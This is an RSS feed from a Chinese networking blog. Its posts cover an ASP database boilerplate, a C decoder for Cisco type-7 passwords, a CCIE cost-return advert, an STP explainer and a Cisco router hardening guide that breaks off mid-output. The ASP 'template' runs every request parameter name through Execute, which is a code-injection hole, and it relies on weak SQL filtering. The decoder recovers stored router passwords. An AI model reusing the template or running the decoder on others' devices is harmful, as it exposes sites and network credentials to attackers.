<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title><![CDATA[水土不服's blog - 思科技术]]></title>
<link>http://www.ruery.net/</link>
<description><![CDATA[3C小子]]></description>
<language>zh-cn</language>
<copyright><![CDATA[Copyright 2005 PBlog3 v2.8]]></copyright>
<webMaster><![CDATA[admin@ruery.com(ruery)]]></webMaster>
<generator>PBlog2 v2.4</generator> 
<image>
	<title>水土不服&#39;s blog</title>
	<url>http://www.ruery.net/images/logos.gif</url>
	<link>http://www.ruery.net/</link>
	<description>水土不服&#39;s blog</description>
</image>

			<item>
			<link>http://www.ruery.net/article/Cisco/conn..htm</link>
			<title><![CDATA[写asp程序的通用v代码]]></title>
			<author>admin@ruery.com(Ruery)</author>
			<category><![CDATA[思科技术]]></category>
			<pubDate>Mon,01 Mar 2010 23:10:58 +0800</pubDate>
			<guid>http://www.ruery.net/default.asp?id=2763</guid>
		<description><![CDATA[&lt;%<br/>Response.Buffer=True<br/>On Error Resume Next<br/><br/>datafile&nbsp;&nbsp;&nbsp;&nbsp;=&#34;data/aaa.mdb&#34;<br/>connstr=&#34;Provider=Microsoft.Jet.OLEDB.4.0;Data Source=&#34;&amp;Server.MapPath(&#34;&#34;&amp;datafile&amp;&#34;&#34;)<br/>Set conn=Server.Cr&#101;ateObject(&#34;ADODB.Connection&#34;)<br/>conn.open ConnStr<br/>If Err Then<br/>err.Clear<br/>Set Conn = Nothing<br/>Response.Write &#34;数据库连接出错，请检查连接字串。&#34;<br/>Response.End<br/>End If<br/>On Error GoTo 0<br/><br/>function checkstr(str)<br/>str=replace(str,&#34;&#39;&#34;,&#34;‘&#34;)<br/>str=replace(str,&#34;&#34;&#34;&#34;,&#34;“&#34;)<br/>str=replace(str,&#34;;&#34;,&#34;；&#34;)<br/>str=replace(str,&#34;%&#34;,&#34;％&#34;)<br/>str=replace(str,&#34;from&#34;,&#34;Ｆrom&#34;)<br/>str=replace(str,&#34;and&#34;,&#34;Ａnd&#34;)<br/>checkstr=str<br/>end function<br/><br/>FOR Each item in Request.QueryString<br/>Execute item &amp; &#34;=checkstr(Request.QueryString(&#34;&#34;&#34;&amp;item&amp;&#34;&#34;&#34;))&#34;<br/>Next<br/><br/>FOR Each item in Request.Form<br/>Execute item &amp; &#34;=checkstr(Request.Form(&#34;&#34;&#34;&amp;item&amp;&#34;&#34;&#34;))&#34;<br/>Next<br/>%&gt;<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.ruery.net/article/Cisco/2401.htm</link>
			<title><![CDATA[Cisco Password 7方式的密码破解程序]]></title>
			<author>admin@ruery.com(Ruery)</author>
			<category><![CDATA[思科技术]]></category>
			<pubDate>Sat,20 Dec 2008 01:12:58 +0800</pubDate>
			<guid>http://www.ruery.net/default.asp?id=2401</guid>
		<description><![CDATA[/*<br/>* * descambles cisco IOS type-7 passwords<br/>* * found somewh&#101;re on the internet, slightly modified, anonymous@segfault.net<br/>* *<br/>* * gcc -Wall -o ciscocrack ciscocrack.c<br/>* * ./ciscocrack 01178E05590909022A<br/>* *<br/>* */<br/><br/>#include &lt;stdio.h&gt;<br/>#include &lt;ctype.h&gt;<br/><br/>char xlat[] = {<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f,<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44, 0x48, 0x53, <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x55, 0x42 <br/>};<br/><br/><br/>int<br/>cdecrypt(char *enc_pw, char *dec_pw)<br/>{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unsigned int seed, i, val = 0;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(strlen(enc_pw) &amp; 1)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return(-1);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;seed = (enc_pw[0] - &#39;0&#39;) * 10 + enc_pw[1] - &#39;0&#39;;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (seed &gt; 15 || !isdigit(enc_pw[0]) || !isdigit(enc_pw[1]))<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return(-1);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for (i = 2 ; i &lt;= strlen(enc_pw); i++) {<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(i !=2 &amp;&amp; !(i &amp; 1)) {<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dec_pw[i / 2 - 2] = val ^ xlat[seed++];<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;val = 0;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;val *= 16;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(isdigit(enc_pw[i] = toupper(enc_pw[i]))) {<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;val += enc_pw[i] - &#39;0&#39;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;continue;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(enc_pw[i] &gt;= &#39;A&#39; &amp;&amp; enc_pw[i] &lt;= &#39;F&#39;) {<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;val += enc_pw[i] - &#39;A&#39; + 10;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;continue;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(strlen(enc_pw) != i)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return(-1);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dec_pw[++i / 2] = 0;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return(0);<br/>}<br/><br/>void<br/>usage()<br/>{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stdout, &#34;Usage: ciscocrack &lt;encrypted password&gt;\n&#34;);<br/>}<br/><br/>int<br/>main(int argc, char *argv[])<br/>{<br/>&nbsp;&nbsp;&nbsp;&nbsp;char passwd[65];<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;memset(passwd, 0, sizeof(passwd));<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;if(argc != 2)<br/>&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;usage();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(1);<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;if(cdecrypt(argv[1], passwd)) {<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stderr, &#34;Error\n&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(1);<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;printf(&#34;Passwd: %s\n&#34;, passwd);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br/>}]]></description>
		</item>
		
			<item>
			<link>http://www.ruery.net/article/Cisco/2278.htm</link>
			<title><![CDATA[各个方向CCIE认证投资回报分析]]></title>
			<author>admin@ruery.com(Ruery)</author>
			<category><![CDATA[思科技术]]></category>
			<pubDate>Sun,07 Dec 2008 17:33:45 +0800</pubDate>
			<guid>http://www.ruery.net/default.asp?id=2278</guid>
		<description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;OPENLAB提供全球最权威的4个方向的CCIE认证培训www.openlab.cn<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 为了学员更好的了解和选择CCIE认证<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 将投资回报计算如下，仅供参考:<br/><br/>R&amp;S CCIE投资回报<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 概述：Routing-switch 是整个CCIE体系中的基础部分,要求学员建立非常好的路由交换的概念,这部分内容也是学习其他CCIE课程的一个非常重要的基础内容.<br/><br/>1：学习投入（试验考试算2次通过）<br/>&nbsp;&nbsp;直通车培训费：14800<br/>&nbsp;&nbsp; 考试费：笔试3150 试验10850<br/>&nbsp;&nbsp; 学习投入总计：14800＋3150＋10850*2=39650<br/>&nbsp;&nbsp; 备注：以上学习成本按保守估计（2次通过考试）<br/><br/>2:&nbsp;&nbsp;就职方向<br/>&nbsp;&nbsp;&nbsp;&nbsp; 考取R&amp;S CCIE认证后您可以选择供职的单位一般有ISP, 原厂(比如CISCO,华为等), CISCO金银牌代理商,集成商,外企,大中型企事业单位.<br/><br/>3：投资回报<br/>&nbsp;&nbsp;&nbsp;&nbsp; 如果按照取得认证后每个月6000月薪计算，保守估计7个月收回成本，并且随着您工程经验的累计.2年后达到12-15W.投资回报还是相当比较划算的.<br/><br/>Security CCIE投资回报<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 概述：cisco目前在整个安全领域推行的安全自防御网络系统,在整个安全界处于非常领先的地位.本课程可以让你完全了解CISCO安全网络的体系和具体实施部署的方法.(包括VPN,防火墙,IPS等等)<br/><br/>1：学习投入（试验考试算2次通过）<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;培训费：总共18800<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;考试费：笔试3150 试验10850<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;学习投入总计：18800＋3150＋10850*2=43650<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;备注：以上学习成本按保守估计（2次通过考试）<br/><br/>2：就职方向<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 考取安全CCIE后您可以就职的单位有 网络安全厂商, 网络安全方面的集成商, CISCO金银牌代理商,外企.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 金融系统(例如银行)<br/><br/>3：投资回报<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如果按照取得认证后每个月8000月薪计算，保守估计6个月收回成本，并且随着您的网络安全方面经验的增加. 后续成为安全顾问专家,年薪15-20W以上. 所以对网络安全感兴趣的同学选择Security ccie是个不错的发展方向.<br/><br/><br/> SP CCIE投资回报<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;概述：为运营商提供优质的产品和技术支持，一直是思科的核心盈利来源, 可以说，sp代表着思科技术的精髓，他是一个成熟的并有着丰富技术底蕴的领域<br/><br/>1：学习投入（试验考试算2次通过）<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;培训费：总共14800<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;考试费：笔试3150 试验10850<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;学习投入总计：14800＋3150＋10850*2=39650<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;备注：以上学习成本按保守估计（2次通过考试）<br/><br/>2：就职方向<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;考取SP CCIE后主要就职单位各大ISP运营商, 原厂(CISCO,华为,JUNIPER等) CISCO金银牌代理商<br/><br/>3：投资回报<br/>&nbsp;&nbsp;&nbsp;&nbsp; 如果按照取得认证后每个月8000月薪计算，保守估计5个月收回成本. 并且随着您在大网部署经验的增加,后续做到高级工程师年薪15-20W. 如果您想进入各大运营商.对大型网络的部署尤其是运营商网络的部署情有独钟.比如电信网络,那么您选择SP CCIE是最对口的专业.<br/><br/>Voice CCIE投资回报<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;概述：思科统一通信，通过智能整合，达成通信工具间的无缝整合、协同交流，从而大幅提高沟通效率。Ip通信技术是下一步互联网发展的趋势,随着CISCO公司统一通信业务的开展, 需要更多的精通IP语音技术的高级人才.<br/><br/>1：学习投入（试验考试算2次通过）<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;培训费：总共28800<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;考试费：笔试3150 试验10850<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;出国费用:二次 30000<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;学习投入总计：28800＋3150＋10850*2+30000=83650<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;备注：以上学习成本按保守估计（2次通过考试）<br/><br/>2：就职方向<br/>&nbsp;&nbsp;&nbsp;&nbsp; 考取voice CCIE认证后,可以就职于原厂 (cisco,avaya等) , cisco金银牌代理商 ,500强外企等<br/><br/>3：投资回报<br/>&nbsp;&nbsp;&nbsp;&nbsp;如果按照取得认证后每个月12000月薪计算，保守估计7个月收回成本，并且随着您在这个行业经验的增加.成为IP通信的高级工程师,年薪20-30W.如果您想致力于IP通信技术的发展.那么voice CCIE是您唯一的选择.]]></description>
		</item>
		
			<item>
			<link>http://www.ruery.net/article/Cisco/2232.htm</link>
			<title><![CDATA[STP：生成树协议 － IEEE 802.1D]]></title>
			<author>admin@ruery.com(Ruery)</author>
			<category><![CDATA[思科技术]]></category>
			<pubDate>Thu,04 Dec 2008 15:59:09 +0800</pubDate>
			<guid>http://www.ruery.net/default.asp?id=2232</guid>
		<description><![CDATA[生成树协议（Spanning Tree）定义在 IEEE 802.1D 中，是一种链路管理协议，它为网络提供路径冗余同时防止产生环路。为使以太网更好地工作，两个工作站之间只能有一条活动路径。网络环路的发生有多种原因，最常见的一种是有意生成的冗余 － 万一一个链路或交换机失败，会有另一个链路或交换机替代。<br/><br/>STP 允许网桥之间相互通信以发现网络物理环路。该协议定义了一种算法，网桥能够使用它创建无环路（loop-free）的逻辑拓朴结构。换句话说，STP 创建了一个由无环路树叶和树枝构成的树结构，其跨越了整个第二层网络。<br/><br/>生成树协议操作对终端站透明，也就是说，终端站并不知道它们自己是否连接在单个局域网段或多网段中。当有两个网桥同时连接相同的计算机网段时，生成树协议可以允许两网桥之间相互交换信息，这样只需要其中一个网桥处理两台计算机之间发送的信息。<br/><br/>网桥之间通过桥接协议数据单元（Bridge Protocol Data Unit － BPDU）交换各自状态信息。生成树协议通过发送 BPDU 信息选出网络中根交换机和根节点端口，并为每个网段（switched segment）选出根节点端口和指定端口。<br/><br/>网桥中的程序能够决定如何使用生成树协议，这称为生成树算法，该算法能够避免网桥环路，并确保在多路径情形下网桥能够选择一条最有效的路径。如果最佳路径失败，可以使用该算法重新计算网络路径并找出下一条最佳路径。<br/><br/>利用生成树算法可以决定网络（哪台计算机主机在哪个区段），并通过 BPDU 信息交换以上数据。该过程主要分为以下两个步骤：<br/><br/>步骤1：通过评估它所接收到的所有配置信息和选择最优选项，来决定一个网桥可发送的最佳信息。 <br/>步骤2：一旦选定某网桥发送的信息，网桥将该信息与来自无根（non-root）连接的可能配置信息相比较。如果步骤1中选择的最佳选项并不优于可能配置信息，便删除该端口。 <br/>协议结构<br/><br/>网桥协议数据单元（BPDU）：<br/><br/>Protocol ID (2) Version (1) Type (1) Flags (1) Rood ID (8) Root Path (4) <br/>Sender BID (8) Port ID (2) M-Age (2) Max Age (2) Hello (2) FD (2 Bytes) <br/><br/>Protocol ID ― 恒为0。 <br/>Version ― 恒为0。 <br/>Type ― 决定该帧中所包含的两种 BPDU 格式类型（配置 BPDU 或 TCN BPDU）。 <br/>Flags ― 标志活动拓朴中的变化，包含在拓朴变化通知（Topology Change Notifications）的下一部分中。 <br/>Root BID ― 包括有根网桥的网桥 ID。会聚后的网桥网络中，所有配置 BPDU 中的该字段都应该具有相同值（单个 VLAN）。NetXRay 可以细分为两个 BID 子字段：网桥优先级和网桥 MAC 地址。 <br/>Root Path Cost ― 通向有根网桥（Root Bridge）的所有链路的积累资本。 <br/>Sender BID ― 创建当前 BPDU 的网桥 BID。对于单交换机（单个 VLAN）发送的所有 BPDU 而言，该字段值都相同，而对于交换机与交换机之间发送的 BPDU 而言，该字段值不同） <br/>Port ID ― 每个端口值都是唯一的。端口1/1值为0×8001，而端口1/2 值为0×8002。 <br/>Message Age ― 记录 Root Bridge 生成当前 BPDU 起源信息的所消耗时间。 <br/>Max Age ― 保存 BPDU 的最长时间，也反映了拓朴变化通知（Topology Change Notification）过程中的网桥表生存时间情况。 <br/>Hello Time ― 指周期性配置 BPDU 间的时间。 <br/>Forward Delay ― 用于在 Listening 和 Learning 状态的时间，也反映了拓朴变化通知（Topology Change Notification）过程中的时间情况 <br/><br/>相关协议：IEEE 802.2、802.3、802.1P、802.1Q<br/><br/>组织来源：STP 由 IEEE （<a href="http://www.ieee.org/" target="_blank" rel="external">http://www.ieee.org/</a>）定义在 802.1D 中。]]></description>
		</item>
		
			<item>
			<link>http://www.ruery.net/article/Cisco/2214.htm</link>
			<title><![CDATA[Cisco路由器安全配置方案]]></title>
			<author>admin@ruery.com(Ruery)</author>
			<category><![CDATA[思科技术]]></category>
			<pubDate>Wed,03 Dec 2008 01:28:55 +0800</pubDate>
			<guid>http://www.ruery.net/default.asp?id=2214</guid>
		<description><![CDATA[一、 路由器网络服务安全配置<br/>1 禁止CDP(Cisco Discovery Protocol)。如：<br/>Router(Config)#no cdp run <br/>Router(Config-if)# no cdp enable<br/>2 禁止其他的TCP、UDP Small服务。<br/>Router(Config)# no service tcp-small-servers<br/>Router(Config)# no service udp-samll-servers<br/>3 禁止Finger服务。<br/>Router(Config)# no ip finger<br/>Router(Config)# no service finger<br/>4 建议禁止HTTP服务。<br/>Router(Config)# no ip http server <br/>如果启用了HTTP服务则需要对其进行安全配置：设置用户名和密码；采用访问列表进行控制。<br/>5 禁止BOOTp服务。<br/>Router(Config)# no ip bootp server<br/>6 禁止IP Source Routing。<br/>Router(Config)# no ip source-route<br/>7 建议如果不需要ARP-Proxy服务则禁止它，路由器默认识开启的。<br/>Router(Config)# no ip proxy-arp<br/>Router(Config-if)# no ip proxy-arp<br/>8禁止IP Directed Broadcast。<br/>Router(Config)# no ip directed-broadcast<br/>9 禁止IP Classless。<br/>Router(Config)# no ip classless<br/>10 禁止ICMP协议的IP Unreachables, Redirects, Mask Replies。<br/>Router(Config-if)# no ip unreacheables<br/>Router(Config-if)# no ip redirects<br/>Router(Config-if)# no ip mask-reply<br/>11 建议禁止SNMP协议服务。在禁止时必须删除一些SNMP服务的默认配置。如：<br/>Router(Config)# no snmp-server community public Ro<br/>Router(Config)# no snmp-server community admin RW<br/>12 如果没必要则禁止WINS和DNS服务。<br/>Router(Config)# no ip domain-lookup<br/>如果需要则需要配置：<br/>Router(Config)# hostname Router<br/>Router(Config)# ip name-server 219.150.32.xxx<br/>13 明确禁止不使用的端口。如：<br/>Router(Config)# interface eth0/3<br/>Router(Config)# shutdown&lt;/P&gt;&lt;P&gt;二、路由器访问控制的安全配置（可选）<br/>路由器的访问控制是比较重要的安全措施，但是目前由于需求不明确，可以考虑暂时不实施。作为建议提供。<br/>1 建议不要远程访问路由器。即使需要远程访问路由器，建议使用访问控制列表和高强度的密码控制。<br/>2 严格控制CON端口的访问。<br/>配合使用访问控制列表控制对CON口的访问。<br/>如：Router(Config)#Access-list 1 permit 192.168.0.1<br/>Router(Config)#line con 0<br/>Router(Config-line)#Transport input none<br/>Router(Config-line)#Login local<br/>Router(Config-line)＃e xec-timeoute 5 0<br/>Router(Config-line)#access-class 1 in<br/>Router(Config-line)#end<br/>同时给CON口设置高强度的密码。<br/>3 如果不使用AUX端口，则禁止这个端口。默认是未被启用。禁止如：<br/>Router(Config)#line aux 0<br/>Router(Config-line)#transport input none<br/>Router(Config-line)#no exec<br/>4 建议采用权限分级策略。如：<br/>Router(Config)#username test privilege 10 xxxx<br/>Router(Config)#privilege EXEC level 10 telnet<br/>Router(Config)#privilege EXEC level 10 show ip access-list<br/>5 为特权模式的进入设置强壮的密码。不要采用enable password设置密码。而要采用enable secret命令设置。并且要启用Service password-encryption。<br/>Router（config）#service password-encryption<br/>Router（config）#enable secret<br/>6 控制对VTY的访问。如果不需要远程访问则禁止它。如果需要则一定要设置强壮的密码。由于VTY在网络的传输过程中为加密，所以需要对其进行严格的控制。如：设置强壮的密码；控制连接的并发数目；采用访问列表严格控制访问的地址；可以采用AAA设置用户的访问控制等。&lt;/P&gt;&lt;P&gt;三、路由器路由协议安全配置<br/>1 建议启用IP Unicast Reverse-Path Verification。它能够检查源IP地址的准确性，从而可以防止一定的IP Spooling。但是它只能在启用CEF(Cisco Express Forwarding)的路由器上使用。<br/>uRPF有三种方式，strict方式、ACL方式和loose方式。在接入路由器上实施时，对于通过单链路接入网络的用户，建议采用strict方式；对于通过多条链路接入到网络的用户，可以采用ACL方式和loose方式。在出口路由器上实施时，采用loose方式。&lt;/P&gt;&lt;P&gt;Strict方式：<br/>Router# config t<br/>! 启用CEF<br/>Router(Config)# ip cef<br/>！启用Unicast Reverse-Path Verification<br/>Router(Config)# interface eth0/1<br/>Router(Config-if)# ip verify unicast reverse-path &lt;/P&gt;&lt;P&gt;ACL方式：<br/>interface pos1/0<br/>ip verify unicast reverse-path 190<br/>access-list 190 permit ip {customer network} {customer network mask} any <br/>access-list 190 deny ip any any [log] <br/>这个功能检查每一个经过路由器的数据包的源地址，若是不符合ACL的，路由器将丢弃该数据包。<br/><br/>Loose方式：<br/>interface pos 1/0<br/>ip ver unicast source reachable-via any<br/>这个功能检查每一个经过路由器的数据包，在路由器的路由表中若没有该数据包源IP地址的路由，路由器将丢弃该数据包。&lt;/P&gt;&lt;P&gt;2 启用OSPF路由协议的认证。默认的OSPF认证密码是明文传输的，建议启用MD5认证。并设置一定强度密钥(key,相对的路由器必须有相同的Key)。<br/>3 RIP协议的认证。只有RIP-V2支持，RIP-1不支持。建议启用RIP-V2。并且采用MD5认证。普通认证同样是明文传输的。<br/>4 启用passive-interface命令可以禁用一些不需要接收和转发路由信息的端口。建议对于不需要路由的端口，启用passive-interface。但是，在RIP协议是只是禁止转发路由信息，并没有禁止接收。在OSPF协议中是禁止转发和接收路由信息。<br/>5 启用访问列表过滤一些垃圾和恶意路由信息,控制网络的垃圾信息流。如：<br/>Router(Config)# access-list 10 deny 192.168.1.0 0.0.0.255<br/>Router(Config)# access-list 10 permit any <br/>! 禁止路由器接收更新192.168.1.0网络的路由信息<br/>Router(Config)# router ospf 100<br/>Router(Config-router)# distribute-list 10 in<br/>！禁止路由器转发传播192.168.1.0网络的路由信息<br/>Router(Config)# router ospf 100<br/>Router(Config-router)# distribute-list 10 out&lt;/P&gt;&lt;P&gt;四、路由器其他安全配置<br/>1 IP欺骗简单防护。如过滤非公有地址访问内部网络。过滤自己内部网络地址；回环地址(127.0.0.0/8)；RFC1918私有地址；DHCP自定义地址(169.254.0.0/16)；科学文档作者测试用地址(192.0.2.0/24)；不用的组播地址(224.0.0.0/4)；SUN公司的古老的测试地址(20.20.20.0/24;204.152.64.0/23)；全网络地址(0.0.0.0/8)。<br/>Router(Config)# access-list 100 deny ip 127.0.0.0 0.255.255.255 any <br/>Router(Config)# access-list 100 deny ip 192.168.0.0 0.0.255.255 any <br/>Router(Config)# access-list 100 deny ip 172.16.0.0 0.15.255.255 any <br/>Router(Config)# access-list 100 deny ip 10.0.0.0 0.255.255.255 any <br/>Router(Config)# access-list 100 deny ip 169.254.0.0 0.0.255.255 any <br/>Router(Config)# access-list 100 deny ip 192.0.2.0 0.0.0.255 any <br/>Router(Config)# access-list 100 deny ip 224.0.0.0 15.255.255.255 any <br/>Router(Config)# access-list 100 deny ip 20.20.20.0 0.0.0.255 any <br/>Router(Config)# access-list 100 deny ip 204.152.64.0 0.0.2.255 any <br/>Router(Config)# access-list 100 deny ip 0.0.0.0 0.255.255.255 any <br/>Router(Config)# access-list 100 permit ip any any<br/>Router(Config-if)# ip access-group 100 in&lt;/P&gt;&lt;P&gt;2 建议采用访问列表控制流出内部网络的地址必须是属于内部网络的。（可选）如：<br/>Router(Config)# no access-list 101<br/>Router(Config)# access-list 101 permit ip 192.168.0.0 0.0.255.255 any<br/>Router(Config)# access-list 101 deny ip any any <br/>Router(Config)# interface eth 0/1<br/>Router(Config-if)# deion “internet Ethernet”<br/>Router(Config-if)# ip address 192.168.0.254 255.255.255.0<br/>Router(Config-if)# ip access-group 101 in&lt;/P&gt;&lt;P&gt;其他可选项：<br/>1、 建议启用SSH，废弃掉Telnet。但只有支持并带有IPSec特征集的IOS才支持SSH。并且IOS12.0-IOS12.2仅支持SSH-V1。如下配置SSH服务的例子：<br/>Router(Config)# config t<br/>Router(Config)# no access-list 22<br/>Router(Config)# access-list 22 permit 192.168.0.22<br/>Router(Config)# access-list deny any<br/>Router(Config)# username test privilege 10 ****<br/>! 设置SSH的超时间隔和尝试登录次数<br/>Router(Config)# ip ssh timeout 90<br/>Router(Config)# ip ssh anthentication-retries 2<br/>Router(Config)# line vty 0 4<br/>Router(Config-line)# access-class 22 in<br/>Router(Config-line)# transport input ssh<br/>Router(Config-line)# login local<br/>Router(Config-line)# exit<br/>！启用SSH服务，生成RSA密钥对。<br/>Router(Config)# crypto key generate rsa<br/>The name for the keys will be: router.xxx <br/>Choose the size of the key modulus in the range of 360 to 2048 for your General Purpose Keys .Choosing a key modulus greater than 512 may take a few minutes. <br/>How many bits in the modulus[512]: 